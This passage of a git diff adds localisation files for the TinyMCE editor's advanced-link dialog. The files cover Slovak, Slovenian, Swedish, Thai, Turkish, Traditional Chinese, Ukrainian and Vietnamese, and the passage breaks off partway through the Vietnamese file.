b/js/tiny_mce2/plugins/advlink/langs/sk_dlg.js new file mode 100755 index 0000000..288ece5 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advlink_dlg',{"target_name":"N\u00e1zov cie\u013ea",classes:"Triedy",style:"\u0160t\u00fdl",id:"ID","popup_position":"Umiestnenie (X/Y)",langdir:"Smer textu","popup_size":"Ve\u013ekos\u0165","popup_dependent":"Z\u00e1vislos\u0165 (iba Mozilla Firefox)","popup_resizable":"Umo\u017eni\u0165 zmenu ve\u013ekosti","popup_location":"Zobrazi\u0165 li\u0161tu umiestnen\u00ed","popup_menubar":"Zobrazi\u0165 ponuku","popup_toolbar":"Zobrazi\u0165 panel n\u00e1strojov","popup_statusbar":"Zobrazi\u0165 stavov\u00fd riadok","popup_scrollbars":"Zobrazi\u0165 posuvn\u00edky","popup_return":"Vlo\u017ei\u0165 \'return false\'","popup_name":"N\u00e1zov okna","popup_url":"URL vyskakovacieho okna",popup:"JavaScriptov\u00e9 okno","target_blank":"Otvori\u0165 v novom okne","target_top":"Otvori\u0165 v hlavnom okne/r\u00e1me (nahradi\u0165 v\u0161etky r\u00e1my)","target_parent":"Otvori\u0165 v nadradenom okne/r\u00e1me","target_same":"Otvori\u0165 v rovnakom okne/r\u00e1me","anchor_names":"Z\u00e1lo\u017eka","popup_opts":"Mo\u017enosti","advanced_props":"Roz\u0161\u00edren\u00e9 parametre","event_props":"Udalosti","popup_props":"Vlastnosti vyskakovacieho okna","general_props":"Obecn\u00e9 parametre","advanced_tab":"Roz\u0161\u00edren\u00e9","events_tab":"Udalosti","popup_tab":"Vyskakovacie okno","general_tab":"Obecn\u00e9",list:"Zoznam odkazov","is_external":"Zadan\u00e1 URL vyzer\u00e1 ako extern\u00fd odkaz, chcete doplni\u0165 povinn\u00fd prefix http://?","is_email":"Zadan\u00e1 URL vyzer\u00e1 ako e-mailov\u00e1 adresa, chcete doplni\u0165 povinn\u00fd prefix mailto:?",titlefield:"Titulok",target:"Cie\u013e",url:"URL odkazu",title:"Vlo\u017ei\u0165/upravi\u0165 odkaz","link_list":"Zoznam odkazov",rtl:"Sprava do\u013eava",ltr:"Z\u013eava doprava",accesskey:"Kl\u00e1vesov\u00e1 skratka",tabindex:"Poradie pre tabul\u00e1tor",rev:"Vz\u0165ah cie\u013ea k str\u00e1nke",rel:"Vz\u0165ah str\u00e1nky k cie\u013eu",mime:"MIME typ",encoding:"K\u00f3dovanie",langcode:"K\u00f3d jazyka","target_langcode":"Jazyk cie\u013ea",width:"\u0160\u00edrka",height:"V\u00fd\u0161ka"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/sl_dlg.js b/js/tiny_mce2/plugins/advlink/langs/sl_dlg.js new file mode 100755 index 0000000..34a398b --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advlink_dlg',{"target_name":"Ime cilja",classes:"Razredi",style:"Slog",id:"Id","popup_position":"Polo\u017eaj (X/Y)",langdir:"Smer pisave","popup_size":"Velikost","popup_dependent":"Odvisno (le za Mozillo/Firefox)","popup_resizable":"Omogo\u010di pvoe\u010devanje okna","popup_location":"Prika\u017ei vrstico naslova","popup_menubar":"Prika\u017ei meni","popup_toolbar":"Prika\u017ei orodjarno","popup_statusbar":"Prika\u017ei vrstico stanja","popup_scrollbars":"Prika\u017ei drsnike","popup_return":"Vstavi \'return false\'","popup_name":"Ime okna","popup_url":"Naslov URL okna",popup:"Dodatno okno z javascriptom","target_blank":"Odpri v novem oknu","target_top":"Odpri v vrhnjem okviru (nadomesti vse okvire)","target_parent":"Odpri v nadrejenem oknu / okviru","target_same":"Odpri v tem oknu / okviru","anchor_names":"Sidra","popup_opts":"Mo\u017enosti","advanced_props":"Napredne lastnosti","event_props":"Dogodki","popup_props":"Lastnosti okna","general_props":"Splo\u0161ne lastnosti","advanced_tab":"Napredno","events_tab":"Dogodki","popup_tab":"Dodatno okno","general_tab":"Splo\u0161no",list:"Seznam povezav","is_external":"Vneseni naslov verjetno predstavlja zunanjo povezavo, \u017eelite da dodam zahtevano predpono","is_email":"Vneseni naslov verjetno prestavlja e-naslov, \u017eelite da dodam zahtevano predpono \\\'mailto:\\\'?",titlefield:"Naslov",target:"Cilj",url:"Naslov URL",title:"Vstavi/uredi povezavo","link_list":"Seznam povezav",rtl:"Od desne proti levi",ltr:"Od leve proti desni",accesskey:"Tipka dostopa",tabindex:"Zap. \u0161t.",rev:"Razmerje cilja do strani",rel:"Razmerje strani do cilja",mime:"Tip MIME cilja",encoding:"Kodiranje znakov cilja",langcode:"Koda jezika","target_langcode":"Jezik cilja",width:"\u0160irina",height:"Vi\u0161ina"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/sv_dlg.js b/js/tiny_mce2/plugins/advlink/langs/sv_dlg.js new file mode 100755 index 0000000..8a61944 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advlink_dlg',{"target_name":"M\u00e5lnamn",classes:"Klasser",style:"Stil",id:"Id","popup_position":"Position (x/y)",langdir:"Skriftriktning","popup_size":"Storlek","popup_dependent":"Beroende av (Mozilla/Firefox enbart)","popup_resizable":"Skalbart f\u00f6nster","popup_location":"Adressraden","popup_menubar":"Menyrad","popup_toolbar":"Verktygsf\u00e4lt","popup_statusbar":"Statusf\u00e4lt","popup_scrollbars":"Rullningslister","popup_return":"Infoga \'return false\'","popup_name":"F\u00f6nsternamn","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"\u00d6ppna i nytt f\u00f6nster","target_top":"\u00d6ppna i toppramen (ers\u00e4tter alla ramar)","target_parent":"\u00d6ppna i \u00f6verliggande f\u00f6nster/ram","target_same":"\u00d6ppna i detta f\u00f6nster/ram","anchor_names":"Bokm\u00e4rken","popup_opts":"Inst\u00e4llningar","advanced_props":"Avancerade inst\u00e4llningar","event_props":"H\u00e4ndelser","popup_props":"Popup-inst\u00e4llningar","general_props":"Generella inst\u00e4llningar","advanced_tab":"Avancerat","events_tab":"H\u00e4ndelser","popup_tab":"Popup","general_tab":"Generellt",list:"L\u00e4nklista","is_external":"L\u00e4nken du angav verkar vara en extern adress. Vill du infoga http:// prefixet p\u00e5 l\u00e4nken?","is_email":"L\u00e4nken du angav verkar vara en e-post adress. Vill du infoga mailto: prefixet p\u00e5 l\u00e4nken?",titlefield:"Titel",target:"M\u00e5l",url:"L\u00e4nkens URL",title:"Infoga/redigera l\u00e4nk","link_list":"L\u00e4nklista",rtl:"H\u00f6ger till v\u00e4nster",ltr:"V\u00e4nster till h\u00f6ger",accesskey:"Snabbtangent",tabindex:"Tabbindex",rev:"Omv\u00e4nd relation (rev)",rel:"Relation (rel attribut)",mime:"MIME type",encoding:"Teckenformattering",langcode:"Spr\u00e5kkod","target_langcode":"M\u00e5lspr\u00e5k",width:"Bredd",height:"H\u00f6jd"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/th_dlg.js b/js/tiny_mce2/plugins/advlink/langs/th_dlg.js new file mode 100755 index 0000000..ab37a3c --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.advlink_dlg',{"target_name":"\u0e0a\u0e37\u0e48\u0e2d\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",classes:"\u0e04\u0e25\u0e32\u0e2a",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",id:"Id","popup_position":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07 (X/Y)",langdir:"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e01\u0e32\u0e23\u0e2d\u0e48\u0e32\u0e19","popup_size":"\u0e02\u0e19\u0e32\u0e14","popup_dependent":"Dependent (Mozilla/Firefox only)","popup_resizable":"\u0e40\u0e1b\u0e25\u0e35\u0e48\u0e22\u0e19\u0e02\u0e19\u0e32\u0e14\u0e02\u0e2d\u0e07\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e44\u0e14\u0e49","popup_location":"\u0e41\u0e2a\u0e14\u0e07\u0e0a\u0e48\u0e2d\u0e07\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48","popup_menubar":"\u0e41\u0e2a\u0e14\u0e07\u0e41\u0e16\u0e1a\u0e40\u0e21\u0e19\u0e39","popup_toolbar":"\u0e41\u0e2a\u0e14\u0e07\u0e17\u0e39\u0e25\u0e1a\u0e32\u0e23\u0e4c","popup_statusbar":"\u0e41\u0e2a\u0e14\u0e07\u0e41\u0e16\u0e1a\u0e2a\u0e16\u0e32\u0e19\u0e30","popup_scrollbars":"\u0e41\u0e2a\u0e14\u0e07\u0e2a\u0e01\u0e23\u0e2d\u0e25\u0e1a\u0e32\u0e23\u0e4c","popup_return":"\u0e40\u0e1e\u0e34\u0e48\u0e21 \'return false\'","popup_name":"\u0e0a\u0e37\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07","popup_url":"\u0e1b\u0e4a\u0e2d\u0e1b-\u0e2d\u0e31\u0e1e URL",popup:"\u0e08\u0e32\u0e27\u0e32 \u0e1b\u0e4a\u0e2d\u0e1b-\u0e2d\u0e31\u0e1e","target_blank":"\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e43\u0e2b\u0e21\u0e48","target_top":"\u0e40\u0e1b\u0e34\u0e14\u0e17\u0e35\u0e48\u0e40\u0e1f\u0e23\u0e21\u0e1a\u0e19 (\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e17\u0e38\u0e01\u0e40\u0e1f\u0e23\u0e21)","target_parent":"\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e40\u0e14\u0e34\u0e21 / \u0e40\u0e1f\u0e23\u0e21","target_same":"\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e43\u0e2b\u0e21\u0e48 / \u0e40\u0e1f\u0e23\u0e21","anchor_names":"\u0e0a\u0e37\u0e48\u0e2d\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","popup_opts":"\u0e15\u0e31\u0e27\u0e40\u0e25\u0e37\u0e2d\u0e01","advanced_props":"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","event_props":"\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21","popup_props":"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e1b\u0e4a\u0e2d\u0e1b-\u0e2d\u0e31\u0e1e","general_props":"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","advanced_tab":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","events_tab":"\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21","popup_tab":"\u0e1b\u0e4a\u0e2d\u0e1b-\u0e2d\u0e31\u0e1e","general_tab":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b",list:"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","is_external":"URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e20\u0e32\u0e22\u0e19\u0e2d\u0e01\u0e25\u0e34\u0e07\u0e04\u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21 http:// \u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 ?","is_email":"URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e08\u0e30\u0e21\u0e35\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48\u0e2d\u0e35\u0e40\u0e21\u0e25\u0e2d\u0e22\u0e39\u0e48\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21 mailto: \u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 ",titlefield:"\u0e0a\u0e37\u0e48\u0e2d",target:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",url:"\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c",title:"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","link_list":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c",rtl:"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22",ltr:"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",accesskey:"Accesskey",tabindex:"Tabindex",rev:"Relationship target to page",rel:"Relationship page to target",mime:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22 MIME type",encoding:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23",langcode:"\u0e42\u0e04\u0e49\u0e14\u0e20\u0e32\u0e29\u0e32","target_langcode":"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22 \u0e20\u0e32\u0e29\u0e32",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/tr_dlg.js b/js/tiny_mce2/plugins/advlink/langs/tr_dlg.js new file mode 100755 index 0000000..447cc3a --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advlink_dlg',{"target_name":"Hedef ad\u0131",classes:"S\u0131n\u0131fla",style:"Stil",id:"Id","popup_position":"Konum (X/Y)",langdir:"Dil y\u00f6n\u00fc","popup_size":"Boyut","popup_dependent":"Ba\u011f\u0131ml\u0131 (Sadece Mozilla Firefox)","popup_resizable":"Pencereyi boyutland\u0131r\u0131labilir yap","popup_location":"Aderes \u00e7ubu\u011funu g\u00f6ster","popup_menubar":"Men\u00fc \u00e7ubu\u011funu g\u00f6ster","popup_toolbar":"Ara\u00e7 kutusunu g\u00f6ster","popup_statusbar":"Durum \u00e7ubu\u011funu g\u00f6ster","popup_scrollbars":"Kayd\u0131rma \u00e7ubuklar\u0131n\u0131 g\u00f6ster","popup_return":"Ekle \'return false\'","popup_name":"Pencere ad\u0131","popup_url":"A\u00e7\u0131l\u0131r pencere URL\'si",popup:"Javascript a\u00e7\u0131l\u0131r pencere","target_blank":"Yeni pencerede a\u00e7","target_top":"\u00dcst \u00e7er\u00e7evede a\u00e7 (t\u00fcm \u00e7er\u00e7eveleri de\u011fi\u015ftir) ","target_parent":"Ana pencerede / \u00e7er\u00e7evede a\u00e7","target_same":"Pencerede / \u00e7er\u00e7evede a\u00e7","anchor_names":"Nesne tutucular","popup_opts":"Se\u00e7enekler","advanced_props":"Geli\u015fmi\u015f \u00f6zellikler","event_props":"Olaylar","popup_props":"A\u00e7\u0131l\u0131r pencere \u00f6zellikleri","general_props":"Genel \u00f6zellikler","advanced_tab":"Geli\u015fmi\u015f","events_tab":"Olaylar","popup_tab":"A\u00e7\u0131l\u0131r pencere","general_tab":"Genel",list:"Ba\u011flant\u0131 listesi","is_external":"Girdi\u011fiz URL d\u0131\u015f ba\u011flant\u0131 gibi g\u00f6r\u00fcn\u00fcyor; gerekli olan http:// \u00f6nekinin eklenmesini ister misiniz?","is_email":"Girdi\u011finiz URL e-posta adresi gibi g\u00f6r\u00fcn\u00fcyor; gerekli olan mailto: \u00f6nekinin eklenmesini ister misiniz? prefix?",titlefield:"Ba\u015fl\u0131k",target:"Hedef",url:"Ba\u011flant\u0131 URL\'si",title:"Ba\u011flant\u0131 ekle/d\u00fczenle","link_list":"Ba\u011flant\u0131 listesi",rtl:"Soldan sa\u011fa",ltr:"Sa\u011fdan sola",accesskey:"Eri\u015fim tu\u015fu",tabindex:"Sekme indeksi",rev:"Sayfadan hedefe ili\u015fki",rel:"Hedeften sayfaya ili\u015fki",mime:"Hedef MIME tipi",encoding:"Hedef karakter kodlama",langcode:"Dil kodu","target_langcode":"Hedef dil",width:"Geni\u015flik",height:"Y\u00fckseklik"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/tw_dlg.js b/js/tiny_mce2/plugins/advlink/langs/tw_dlg.js new file mode 100755 index 0000000..f715bac --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advlink_dlg',{"target_name":"\u76ee\u6a19\u540d\u7a31",classes:"\u985e\u5225",style:"\u6a23\u5f0f",id:"ID","popup_position":"\u4f4d\u7f6e(X/Y)",langdir:"\u8a9e\u8a00\u66f8\u5beb\u65b9\u5411","popup_size":"\u5927\u5c0f","popup_dependent":"\u700f\u89bd\u5668\u9650\u5236(\u50c5\u652f\u63f4 Mozilla/Firefox)","popup_resizable":"\u5f48\u7a97\u53ef\u8abf\u6574\u5927\u5c0f","popup_location":"\u986f\u793a\u5730\u5740\u6b04","popup_menubar":"\u986f\u793a\u529f\u80fd\u9078\u55ae\u5217","popup_toolbar":"\u986f\u793a\u5de5\u5177\u5217","popup_statusbar":"\u986f\u793a\u72c0\u614b\u5217","popup_scrollbars":"\u986f\u793a\u6efe\u52d5\u689d","popup_return":"\u63d2\u5165 \"return false\"","popup_name":"\u8996\u7a97\u540d\u7a31","popup_url":"\u5f48\u51fa\u8996\u7a97URL",popup:"JavaScript \u5f48\u51fa\u8996\u7a97","target_blank":"\u5728\u65b0\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","target_top":"\u5728\u9802\u90e8\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","target_parent":"\u5728\u7236\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","target_same":"\u5728\u76ee\u524d\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","anchor_names":"\u66f8\u7c64","popup_opts":"\u9078\u9805","advanced_props":"\u9ad8\u7d1a\u5c6c\u6027","event_props":"\u4e8b\u4ef6","popup_props":"\u5f48\u51fa\u8996\u7a97\u5c6c\u6027","general_props":"\u4e00\u822c\u5c6c\u6027","advanced_tab":"\u9ad8\u7d1a\u5c6c\u6027","events_tab":"\u4e8b\u4ef6","popup_tab":"\u5f48\u51fa\u8996\u7a97","general_tab":"\u4e00\u822c",list:"\u8d85\u9023\u7d50\u6e05\u55ae","is_external":"\u60a8\u8f38\u5165\u7684 URL \u4f3c\u4e4e\u70ba\u5916\u90e8\u8d85\u9023\u7d50\uff0c\u662f\u5426\u8981\u52a0\u4e0a \"http://\" \uff1f","is_email":"\u60a8\u8f38\u5165\u7684\u4f3c\u4e4e\u662f\u96fb\u5b50\u90f5\u4ef6\u5730\u5740,\u662f\u5426\u9700\u8981\u52a0 mailto:\uff1f",titlefield:"\u6a19\u984c",target:"\u76ee\u6a19",url:"\u8d85\u9023\u7d50URL",title:"\u63d2\u5165/\u7de8\u8f2f\u8d85\u9023\u7d50","link_list":"\u8d85\u9023\u7d50\u6e05\u55ae",rtl:"\u5f9e\u53f3\u5230\u5de6",ltr:"\u5f9e\u5de6\u5230\u53f3",accesskey:"\u5feb\u901f\u9375",tabindex:"Tab\u7d22\u5f15",rev:"\u76ee\u6a19\u5230\u7db2\u9801\u7684\u95dc\u4fc2",rel:"\u7db2\u9801\u5230\u76ee\u6a19\u7684\u95dc\u4fc2",mime:"\u76ee\u6a19MIME\u985e\u578b",encoding:"\u76ee\u6a19\u8a9e\u8a00\u7de8\u78bc",langcode:"\u8a9e\u8a00\u7de8\u78bc","target_langcode":"\u76ee\u6a19\u8a9e\u8a00",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/uk_dlg.js b/js/tiny_mce2/plugins/advlink/langs/uk_dlg.js new file mode 100755 index 0000000..d069797 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advlink_dlg',{"target_name":"\u041d\u0430\u0437\u0432\u0430 \u0446\u0456\u043b\u0456",classes:"\u041a\u043b\u0430\u0441\u0438",style:"\u0421\u0442\u0438\u043b\u044c",id:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440","popup_position":"\u041f\u043e\u0437\u0438\u0446\u0456\u044f (X/Y)",langdir:"\u041d\u0430\u043f\u0440\u044f\u043c \u043c\u043e\u0432\u0438","popup_size":"\u0420\u043e\u0437\u043c\u0456\u0440","popup_dependent":"\u0417\u0430\u043b\u0435\u0436\u043d\u0438\u0439 (\u043b\u0438\u0448\u0435 \u0434\u043b\u044f Mozilla/Firefox)","popup_resizable":"\u0414\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u0438 \u0437\u043c\u0456\u043d\u044e\u0432\u0430\u0442\u0438 \u0440\u043e\u0437\u043c\u0456\u0440","popup_location":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043f\u0430\u043d\u0435\u043b\u044c location","popup_menubar":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043c\u0435\u043d\u044e","popup_toolbar":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043f\u0430\u043d\u0435\u043b\u0456 \u0456\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0456\u0432","popup_statusbar":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u0441\u0442\u0430\u0442\u0443\u0441","popup_scrollbars":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u0441\u043a\u0440\u043e\u043b\u0435\u0440\u0438","popup_return":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \'return false\'","popup_name":"\u041d\u0430\u0437\u0432\u0430 \u0432\u0456\u043a\u043d\u0430","popup_url":"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u0432\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u0435 \u0432\u0456\u043a\u043d\u043e",popup:"\u0412\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u0435 \u0432\u0456\u043a\u043d\u043e Javascript","target_blank":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432 \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0456\u043a\u043d\u0456","target_top":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0443 \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u0444\u0440\u0435\u0439\u043c\u0456 (\u0437\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u0432\u0441\u0456 \u0444\u0440\u0435\u0439\u043c\u0438)","target_parent":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432 \u0431\u0430\u0442\u044c\u043a\u0456\u0432\u0441\u044c\u043a\u043e\u043c\u0443 \u0432\u0456\u043a\u043d\u0456 / \u0444\u0440\u0435\u0439\u043c\u0456","target_same":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432 \u0446\u044c\u043e\u043c\u0443 \u0436 \u0432\u0456\u043a\u043d\u0456 / \u0444\u0440\u0435\u0439\u043c\u0456","anchor_names":"\u042f\u043a\u043e\u0440\u0456","popup_opts":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","advanced_props":"\u0420\u043e\u0437\u0448\u0438\u0440\u0435\u043d\u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","event_props":"\u041f\u043e\u0434\u0456\u0457","popup_props":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0432\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u043e\u0433\u043e \u0432\u0456\u043a\u043d\u0430","general_props":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","advanced_tab":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e","events_tab":"\u041f\u043e\u0434\u0456\u0457","popup_tab":"\u0412\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u0435 \u0432\u0456\u043a\u043d\u043e","general_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",list:"\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c","is_external":"\u0412\u0432\u0435\u0434\u0435\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0441\u0445\u043e\u0436\u0435 \u043d\u0430 \u0437\u043e\u0432\u043d\u0456\u0448\u043d\u0454 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f, \u0432\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0438\u0439 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 http://?","is_email":"\u0412\u0432\u0435\u0434\u0435\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0441\u0445\u043e\u0436\u0435 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0443 \u0435\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0457 \u043f\u043e\u0448\u0442\u0438, \u0432\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0438\u0439 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 mailto:?",titlefield:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",target:"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432...",url:"\u0410\u0434\u0440\u0435\u0441\u0430",title:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","link_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043b\u0456\u0432\u043e\u0440\u0443\u0447",ltr:"\u0417\u043b\u0456\u0432\u0430 \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",accesskey:"\u041a\u043b\u0430\u0432\u0456\u0448\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0443",tabindex:"\u0422\u0430\u0431\u0456\u043d\u0434\u0435\u043a\u0441",rev:"\u0417\u0432\'\u044f\u0437\u043e\u043a \u043c\u0456\u0436 \u0446\u0456\u043b\u043b\u044e \u0442\u0430 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u043e\u044e",rel:"\u0417\u0432\'\u044f\u0437\u043e\u043a \u043c\u0456\u0436 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u043e\u044e \u0442\u0430 \u0446\u0456\u043b\u043b\u044e",mime:"MIME \u0442\u0438\u043f \u0446\u0456\u043b\u0456",encoding:"\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f \u0446\u0456\u043b\u0456",langcode:"\u041a\u043e\u0434 \u043c\u043e\u0432\u0438","target_langcode":"\u041c\u043e\u0432\u0430 \u0446\u0456\u043b\u0456",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/vi_dlg.js b/js/tiny_mce2/plugins/advlink/langs/vi_dlg.js new file mode 100755 index 0000000..01400de --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.advlink_dlg',{"target_name":"T\u00ean \u0111\u00edch",classes:"L\u1edbp",style:"Ki\u1ec3u d\u00e1ng",id:"Id","popup_position":"V\u1ecb tr\u00ed (X/Y)",langdir:"H\u01b0\u1edbng ng\u00f4n ng\u1eef","popup_size":"K\u00edch th\u01b0\u1edbc","popup_dependent":"Ph\u1ee5 thu\u1ed9c (ch\u1ec9 Mozilla/Firefox)","popup_resizable":"L\u00e0m cho c\u1eeda s\u1ed5 c\u00f3 th\u1ec3 thay \u0111\u1ed5i k\u00edch c\u1ee1","popup_location":"Hi\u1ec7n 